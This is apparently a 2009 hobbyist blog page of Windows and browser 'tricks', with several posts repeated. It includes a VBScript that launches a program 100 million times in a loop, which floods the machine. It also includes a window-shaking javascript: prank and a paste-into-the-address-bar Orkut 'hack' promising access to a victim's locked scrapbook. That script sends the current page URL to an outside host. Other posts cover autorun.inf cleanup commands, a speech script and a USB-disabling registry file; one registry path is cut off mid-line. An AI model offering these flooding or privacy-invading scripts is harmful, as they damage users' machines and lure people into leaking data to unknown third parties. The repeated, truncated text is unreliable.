Option Explicit
Dim WSHShell
Set WSHShell=Wscript.CreateObject("Wscript.Shell")
Dim x
For x = 1 to 100000000
WSHShell.Run "Tourstart.exe"
Next
Save It As Anything.vbsIt Only Works With Windows XP
Monday, June 22, 2009
EARTHQUAKE ON UR MACHINE
do u want to have an EARTHQUAKE ON UR MACHINEdont worry earthquake will take place for few seconds copy the address below and paste it in the address bar and voilajavascript:function flood(n) {if ( self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} flood(6);
Yeah. . Now There is way to see Locked Scrapbook… !!
Yeah. . .Now there is a hack in Orkut to see locked scrapbooks now.
Simple trick is if you have a Orkut Sandbox profile then visit by that profile you are able see victim’s Scrapbook. . .and if you didn’t have any Sandbox Enabled Profile then use this JavaScript (-:
? Copy Script ? Goto Profile Page? Paste Script on Address Bar? Hit Enter
Script
javascript:document.location=’http://rodlac.freetzi.com/ViewScraps.php?uid=’+encodeURIComponent(location.href);void(0)
Enjoy Orkuting
Simple trick is if you have a Orkut Sandbox profile then visit by that profile you are able see victim’s Scrapbook. . .and if you didn’t have any Sandbox Enabled Profile then use this JavaScript (-:
? Copy Script ? Goto Profile Page? Paste Script on Address Bar? Hit Enter
Script
javascript:document.location=’http://rodlac.freetzi.com/ViewScraps.php?uid=’+encodeURIComponent(location.href);void(0)
Enjoy Orkuting
ur system is affected by autorun.inf
easy & best solution is....run -->
cmd --> c: --> attrib -->
del autorun.inf /f/s/q/a
do it for all drives & ur problem ll b solved.....
and H:> attrib -s -h -r -a
where h: is ur pendrive
cmd --> c: --> attrib -->
del autorun.inf /f/s/q/a
do it for all drives & ur problem ll b solved.....
and H:> attrib -s -h -r -a
where h: is ur pendrive
Sunday, June 21, 2009
speak it
Open a text file in notepad and write:
;copy from here--------------
Dim msg, sapi
msg=InputBox("Enter your text","Talk it")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg
;----------to here
( ';')< " Save the file with a (*.vbs) extension, it will create a VBScript File.
It will prompt you for a text, input the text and press ok."
;copy from here--------------
Dim msg, sapi
msg=InputBox("Enter your text","Talk it")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak msg
;----------to here
( ';')< " Save the file with a (*.vbs) extension, it will create a VBScript File.
It will prompt you for a text, input the text and press ok."
How to disable Pendrive?
Procedure:-
Open notepad and past this code then save it with disableUSB.reg
Then double click on it, computer will ask Are you sure you want to add the information to registry?click YES.
You will be there
Code:
------------
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR]
"Start"=dword:00000004
------------
How to Reverse:-
And if you want to reverse it change the value "00000004" to "00000003". The computer will show pendrive again.
Open notepad and past this code then save it with disableUSB.reg
Then double click on it, computer will ask Are you sure you want to add the information to registry?click YES.
You will be there
Code:
------------
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentContro
"Start"=dword:00000004
------------
How to Reverse:-
And if you want to reverse it change the value "00000004" to "00000003". The computer will show pendrive again.
Subscribe to:
Posts (Atom)